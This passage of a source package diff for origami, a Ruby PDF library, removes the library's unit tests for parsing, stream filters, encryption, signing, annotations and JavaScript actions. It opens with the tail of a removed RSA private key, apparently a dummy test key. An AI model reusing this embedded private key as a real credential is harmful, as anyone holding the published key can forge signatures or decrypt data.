-DPR6HY0wc4IFlGw9DNdapEPhK3DOmsBWimwiekqSOaCYhq/iv32uyYs+mNVlfgjB -aQxE6zyDsdizMj+hDAHfuc4zbXFVn2E1rk9dMM5ozhvD6EX6CxLb2SkZyeiG4oXQ -A6z9RHyfupOxhpHMxpt3ykteKyhA9icplO/OUrASsJyKk5w+V6Xd3z3FI9JDVbWK -SCJ8fqEkVy7K4FJjHmJg6v1pOujZPe65EnR43QIDAQABAoIBAAphDtYu8vMjXB1D -tQ1IevNnboIa9HcWh050Kb1SE09YVZZSV+hkBhBm0Eufh6hOuqN3Pjbb6Equawpn -d0A4iEtGtTj/14u9xCE82pB5xrcicLKEghNNKnm+isNF77nBDhhHUV6tEG9c1uwq -lYR9g7CwC/xoVAto8dDaQGZRQu3vpmDN2RMbaEN5EY/rNGYDfe0OM8MnNdxJPDAc -75jCd0N0SDB4GpLW3hYDbajhJVf4rb0nAelaz+FDF/m1wWyQP5752RrDiptFEscN -U8hTNHNcdxStdm7mJat3O47rVXjLtomttUDHxQIKqMbZsK/uNcV3jQEYmiojuwOF -WhEtG7UCgYEA2IEQnIoS/P3ZMofjYYNtl1etQ0W9pVS7h/7KgClBNdxL5YqAYEYc -Bab/bbcuQKmN0krA5/TqFo+VBhJ+QkejfB2Xk3sFn3gavg/tABCaSckegJ/5q5om -IONTnOrWNRtVAGgg/R85kycJjZjqfq5NslfPU5oUAeerek37r/YrTbMCgYEAw3UF -9mbgL8v1ssY/dJHmIs3EWqx9++5WlxvCdjUcFmngaXY6ledgtJHE8JIovw1wzvsi -91bRwVAfszzZFMVEB+vNFBy3ccFxi1ouyau29GumcjQv9ai8sIvX4eLeHP8Fi8DV -wNO9sA6ji3OFlhBeSyRucT/j6ayU9HpY1s+Rdy8CgYBdr2PHyTu0PAhrhD/RZ3TZ -w3fXH2uUClln3Mo1sSRlsSEqf8dTYaMokv3+tQCPvI8BC5X0CZfuEU2UJhZ6idNl -lsyLZfWl7uvriKqul4CcIypO0GrSZc7P9m6s/TWaH2yl02lK/uMEGSVaH2yBSt2W -KccuTwMPW/do4iviFazhXwKBgBZBLsqdcA1BJdqTJAp7yj5QO3kvhrC2tHlEGeIn -rekHaRvY8Fa9H4+vwUK7AZSvTRbkFVkgM4XVP6bC2Ny6kUJtoM4XbvOu2OTLAeTI -fm5aC3uZYZSQ/9sCMTRxBmU6zEDbVfs8oK55HDn2j1FEz9eycDjI04R5uAQWIiNj -QubVAoGBAIP1rmU6OrRcwPUY74okeJLMYKiCWVkL4lhqfik/5kmXRmszfnd0pf2z -VtdfGmfuycI2HeFGOO3o88y9TcZ9nq7/ZavwNEYrbiBRnVC8anDqW+YJT0ytb2Nc -bJVRuY1tVHAqIVjgtFUlqIKPEl5c6cnFcCP5j5RpuywCgNM+U2th ------END RSA PRIVATE KEY----- diff -Nru origami-1.2.7/test/tc_actions.rb origami-1.2.7+really0.7.4/test/tc_actions.rb --- origami-1.2.7/test/tc_actions.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_actions.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,32 +0,0 @@ -require 'test/unit' - - class TC_Actions < Test::Unit::TestCase - def setup - @target = PDF.new - @page = Page.new - @action = Action::JavaScript "app.alert(null);" - end - - # def teardown - # end - - def test_pdf_actions - @target.onDocumentOpen @action - @target.onDocumentClose @action - @target.onDocumentPrint @action - - assert_equal @target.Catalog.OpenAction, @action - assert_equal @target.Catalog.AA.WC, @action - assert_equal @target.Catalog.AA.WP, @action - end - - def test_page_actions - - @page.onOpen @action - @page.onClose @action - - assert_equal @page.AA.O, @action - assert_equal @page.AA.C, @action - end - -end diff -Nru origami-1.2.7/test/tc_annotations.rb origami-1.2.7+really0.7.4/test/tc_annotations.rb --- origami-1.2.7/test/tc_annotations.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_annotations.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,85 +0,0 @@ -require 'test/unit' -require 'stringio' - - class TC_Annotations< Test::Unit::TestCase - def setup - @target = PDF.new - @page = Page.new - @action = Action::JavaScript["app.alert(null);"] - @output = StringIO.new - end - - # def teardown - # end - - def test_annotations - - circle = Annotation::Circle.new - square = Annotation::Square.new - text = Annotation::Text.new - link = Annotation::Link.new - file = Annotation::FileAttachment.new - screen = Annotation::Screen.new - sound = Annotation::Sound.new - pushbutton = Annotation::Widget::PushButton.new - checkbox = Annotation::Widget::CheckBox.new - radio = Annotation::Widget::Radio.new - edit = Annotation::Widget::Text.new - combo = Annotation::Widget::ComboBox.new - list = Annotation::Widget::ListBox.new - sig = Annotation::Widget::Signature.new - - @target.append_page @page - - assert_nothing_raised do - @page.add_annot circle - @page.add_annot square - @page.add_annot text - @page.add_annot link - @page.add_annot file - @page.add_annot screen - @page.add_annot sound - @page.add_annot pushbutton - @page.add_annot checkbox - @page.add_annot radio - @page.add_annot edit - @page.add_annot combo - @page.add_annot list - @page.add_annot sig - end - - assert_nothing_raised do - @target.save(@output) - end - end - - def test_annotation_actions - - screen = Annotation::Screen.new - - @page.add_annot screen - - screen.onMouseOver @action - screen.onMouseOut @action - screen.onMouseDown @action - screen.onMouseUp @action - screen.onFocus @action - screen.onBlur @action - screen.onPageOpen @action - screen.onPageClose @action - screen.onPageVisible @action - screen.onPageInvisible @action - - assert_equal screen.AA.E, @action - assert_equal screen.AA.X, @action - assert_equal screen.AA.D, @action - assert_equal screen.AA.U, @action - assert_equal screen.AA.Fo, @action - assert_equal screen.AA.Bl, @action - assert_equal screen.AA.PO, @action - assert_equal screen.AA.PC, @action - assert_equal screen.AA.PV, @action - assert_equal screen.AA.PI, @action - end - -end diff -Nru origami-1.2.7/test/tc_pages.rb origami-1.2.7+really0.7.4/test/tc_pages.rb --- origami-1.2.7/test/tc_pages.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_pages.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,37 +0,0 @@ -require 'test/unit' -require 'stringio' - - class TC_Pages < Test::Unit::TestCase - def setup - @target = PDF.new - @output = StringIO.new - end - - # def teardown - # end - - def test_appendpage - p1, p2, p3 = Page.new, Page.new, Page.new - - assert_nothing_raised do - @target.append_page p1, p2, p3 - end - - assert_equal @target.pages.size, 3 - - assert_equal @target.pages[0], p1 - assert_equal @target.pages[1], p2 - assert_equal @target.pages[2], p3 - - assert_equal @target.Catalog.Pages, p1.Parent - assert_equal @target.Catalog.Pages, p2.Parent - assert_equal @target.Catalog.Pages, p3.Parent - - assert_nothing_raised do - @target.save(@output) - end - - assert_equal @target.Catalog.Pages.Count, 3 - end - -end diff -Nru origami-1.2.7/test/tc_pdfattach.rb origami-1.2.7+really0.7.4/test/tc_pdfattach.rb --- origami-1.2.7/test/tc_pdfattach.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_pdfattach.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,24 +0,0 @@ -require 'test/unit' -require 'stringio' - - class TC_PdfAttach < Test::Unit::TestCase - def setup - @target = PDF.new - @attachment = "test/dataset/test.dummycrt" - @output = StringIO.new - end - - # def teardown - # end - - def test_attachfile - assert_nothing_raised do - fspec = @target.attach_file(@attachment, :EmbeddedName => "foo.bar") - end - - assert_nothing_raised do - @target.save(@output) - end - end - -end diff -Nru origami-1.2.7/test/tc_pdfencrypt.rb origami-1.2.7+really0.7.4/test/tc_pdfencrypt.rb --- origami-1.2.7/test/tc_pdfencrypt.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_pdfencrypt.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,110 +0,0 @@ -require 'test/unit' -require 'stringio' - - class TC_PdfEncrypt < Test::Unit::TestCase - def setup - @target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) - @output = StringIO.new - end - - # def teardown - # end - - def test_encrypt_rc4_40b - @output.string = "" - assert_nothing_raised do - @target.encrypt(:cipher => 'rc4', :key_size => 40).save(@output); - end - end - - def test_encrypt_rc4_128b - @output.string = "" - assert_nothing_raised do - @target.encrypt(:cipher => 'rc4').save(@output); - end - end - - def test_encrypt_aes_128b - @output.string = "" - assert_nothing_raised do - @target.encrypt(:cipher => 'aes').save(@output); - end - end - - def test_decrypt_rc4_40b - pdf = nil - @output.string = "" - assert_nothing_raised do - pdf = PDF.new.encrypt(:cipher => 'rc4', :key_size => 40) - pdf.Catalog[:Test] = "test" - pdf.save(@output) - end - - assert_not_equal pdf.Catalog[:Test], "test" - - assert_nothing_raised do - @output = @output.reopen(@output.string, "r") - pdf = PDF.read(@output, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) - end - - assert_equal pdf.Catalog[:Test], "test" - end - - def test_decrypt_rc4_128b - pdf = nil - @output.string = "" - assert_nothing_raised do - pdf = PDF.new.encrypt(:cipher => 'rc4') - pdf.Catalog[:Test] = "test" - pdf.save(@output) - end - - assert_not_equal pdf.Catalog[:Test], "test" - - assert_nothing_raised do - @output.reopen(@output.string, "r") - pdf = PDF.read(@output, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) - end - - assert_equal pdf.Catalog[:Test], "test" - end - - def test_decrypt_aes_128b - pdf = nil - @output.string = "" - assert_nothing_raised do - pdf = PDF.new.encrypt(:cipher => 'aes') - pdf.Catalog[:Test] = "test" - pdf.save(@output) - end - - assert_not_equal pdf.Catalog[:Test], "test" - - assert_nothing_raised do - @output = @output.reopen(@output.string, "r") - pdf = PDF.read(@output, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) - end - - assert_equal pdf.Catalog[:Test], "test" - end - - def test_decrypt_aes_256b - pdf = nil - @output.string = "" - assert_nothing_raised do - pdf = PDF.new.encrypt(:cipher => 'aes', :key_size => 256) - pdf.Catalog[:Test] = "test" - pdf.save(@output) - end - - assert_not_equal pdf.Catalog[:Test], "test" - - assert_nothing_raised do - @output = @output.reopen(@output.string, "r") - pdf = PDF.read(@output, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) - end - - assert_equal pdf.Catalog[:Test], "test" - end - -end diff -Nru origami-1.2.7/test/tc_pdfnew.rb origami-1.2.7+really0.7.4/test/tc_pdfnew.rb --- origami-1.2.7/test/tc_pdfnew.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_pdfnew.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,32 +0,0 @@ -require 'test/unit' -require 'stringio' - - class TC_PdfNew < Test::Unit::TestCase - - def setup - @output = StringIO.new - end - - # def teardown - # end - - def test_pdf_struct - - pdf = PDF.new - - null = Null.new - assert_nothing_raised do - pdf << null - end - - assert_nothing_raised do - pdf.save(@output) - end - - assert null.is_indirect? - assert pdf.objects.include?(null) - assert_equal pdf.revisions.first.body[null.reference], null - assert_equal null.reference.solve, null - end - -end diff -Nru origami-1.2.7/test/tc_pdfparse.rb origami-1.2.7+really0.7.4/test/tc_pdfparse.rb --- origami-1.2.7/test/tc_pdfparse.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_pdfparse.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,98 +0,0 @@ -require 'test/unit' - - class TC_PdfParse < Test::Unit::TestCase - def setup - @data = - %w{ - test/dataset/empty.pdf - test/dataset/calc.pdf - test/dataset/crypto.pdf - } - - @dict = StringScanner.new "<>>>" - - @bytestring = StringScanner.new "(\\122\\125by\\n)" - @hexastring = StringScanner.new "<52 55 62 79 0A>" - @true = StringScanner.new "true" - @false = StringScanner.new "false" - @real = StringScanner.new "-3.141592653" - @int = StringScanner.new "00000000002000000000000" - @name = StringScanner.new "/#52#55#62#79#0A" - end - - # def teardown - # end - - def test_parsepdf - @data.each { |file| - assert_nothing_raised do - PDF.read(file, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) - end - } - end - - def test_parsedictionary - - dict = nil - assert_nothing_raised do - dict = Dictionary.parse(@dict) - end - - assert dict[:Pi] == 3.14 - assert dict[:a].is_a?(Dictionary) - - end - - def test_parsestring - str = nil - assert_nothing_raised do - str = ByteString.parse(@bytestring) - end - - assert str.value == "RUby\n" - - assert_nothing_raised do - str = HexaString.parse(@hexastring) - end - - assert str.value == "RUby\n" - end - - def test_parsebool - _true, _false = nil - assert_nothing_raised do - _true = Boolean.parse(@true) - _false = Boolean.parse(@false) - end - - assert _false.false? - assert (not _true.false?) - end - - def test_parsereal - real = nil - assert_nothing_raised do - real = Real.parse(@real) - end - - assert_equal real, -3.141592653 - end - - def test_parseint - int = nil - assert_nothing_raised do - int = Origami::Integer.parse(@int) - end - - assert_equal int, 2000000000000 - end - - def test_parsename - name = nil - assert_nothing_raised do - name = Name.parse(@name) - end - - assert_equal name.value, :"RUby\n" - end -end diff -Nru origami-1.2.7/test/tc_pdfsig.rb origami-1.2.7+really0.7.4/test/tc_pdfsig.rb --- origami-1.2.7/test/tc_pdfsig.rb 2011-10-18 01:30:05.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_pdfsig.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,43 +0,0 @@ -require 'test/unit' -require 'stringio' - - class TC_PdfSig < Test::Unit::TestCase - - def setup - @target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) - @output = StringIO.new - - @cert = OpenSSL::X509::Certificate.new(File.read("test/dataset/test.dummycrt")) - @key = OpenSSL::PKey::RSA.new(File.read("test/dataset/test.dummykey")) - end - - # def teardown - # end - - def test_sig - - sigannot = Annotation::Widget::Signature.new.set_indirect(true) - sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0] - - assert_nothing_raised do - @target.append_page(page = Page.new) - page.add_annot(sigannot) - - @target.sign(@cert, @key, - :annotation => sigannot, - :location => "France", - :contact => "fred@security-labs.org", - :reason => "Proof of Concept" - ) - end - - assert @target.frozen? - - assert_nothing_raised do - @target.save(@output) - end - - assert PDF.read(@output.reopen(@output.string,'r'), :verbosity => Parser::VERBOSE_QUIET).verify - end - -end diff -Nru origami-1.2.7/test/tc_streams.rb origami-1.2.7+really0.7.4/test/tc_streams.rb --- origami-1.2.7/test/tc_streams.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/tc_streams.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,129 +0,0 @@ -require 'test/unit' -require 'stringio' - - class TC_Streams < Test::Unit::TestCase - def setup - @target = PDF.new - @output = StringIO.new - @data = "0123456789" * 1024 - end - - # def teardown - # end - - def test_predictors - - stm = Stream.new(@data, :Filter => :FlateDecode) - stm.set_predictor(Filter::Predictor::TIFF) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal @data, stm.data - - stm = Stream.new(@data, :Filter => :FlateDecode) - stm.set_predictor(Filter::Predictor::PNG_SUB) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal @data, stm.data - - stm = Stream.new(@data, :Filter => :FlateDecode) - stm.set_predictor(Filter::Predictor::PNG_UP) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data - - stm = Stream.new(@data, :Filter => :FlateDecode) - stm.set_predictor(Filter::Predictor::PNG_AVERAGE) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data - - stm = Stream.new(@data, :Filter => :FlateDecode) - stm.set_predictor(Filter::Predictor::PNG_PAETH) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data - - end - - def test_filter_flate - - stm = Stream.new(@data, :Filter => :FlateDecode) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data - end - - def test_filter_asciihex - - stm = Stream.new(@data, :Filter => :ASCIIHexDecode) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data - end - - def test_filter_ascii85 - - stm = Stream.new(@data, :Filter => :ASCII85Decode) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data - end - - def test_filter_rle - - stm = Stream.new(@data, :Filter => :RunLengthDecode) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data - end - - def test_filter_lzw - - stm = Stream.new(@data, :Filter => :LZWDecode) - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data - end - - def test_filter_ccittfax - - stm = Stream.new(@data[0, 216], :Filter => :CCITTFaxDecode) - - raw = stm.rawdata - stm.data = nil - stm.rawdata = raw - - assert_equal stm.data, @data[0, 216] - end - - def test_stream - stm = Stream.new(@data, :Filter => :ASCIIHexDecode ) - @target << stm - - stm.pre_build - assert stm.Length == stm.rawdata.length - - @target.save(@output) - end - -end diff -Nru origami-1.2.7/test/ts_pdf.rb origami-1.2.7+really0.7.4/test/ts_pdf.rb --- origami-1.2.7/test/ts_pdf.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/ts_pdf.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,50 +0,0 @@ -begin - require 'test/unit/testsuite' -rescue LoadError - abort "Error: you need to install test-unit" -end - -require 'tc_pdfparse.rb' -require 'tc_streams.rb' -require 'tc_pdfencrypt.rb' -require 'tc_pdfsig.rb' -require 'tc_pdfattach.rb' -require 'tc_pages.rb' -require 'tc_actions.rb' -require 'tc_annotations.rb' -require 'tc_pdfnew.rb' - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - - #class TS_PdfTests - # def self.suite - # suite = Test::Unit::TestSuite.new "PDF test suite" - # suite << TC_PdfParse.suite - # suite << TC_PdfNew.suite - # suite << TC_Streams.suite - # suite << TC_Pages.suite - # suite << TC_PdfEncrypt.suite - # suite << TC_PdfSig.suite - # suite << TC_PdfAttach.suite - # suite << TC_Actions.suite - # suite << TC_Annotations.suite - # suite - # end - #end - -#if ARGV.size > 0 and ARGV[0] == "gtk" -# require 'test/unit/ui/gtk2/testrunner' -# Test::Unit::UI::GTK2::TestRunner.run(TS_PdfTests) -#else -# require 'test/unit/ui/console/testrunner' -# Test::Unit::UI::Console::TestRunner.run(TS_PdfTests) -#end - -#exit 0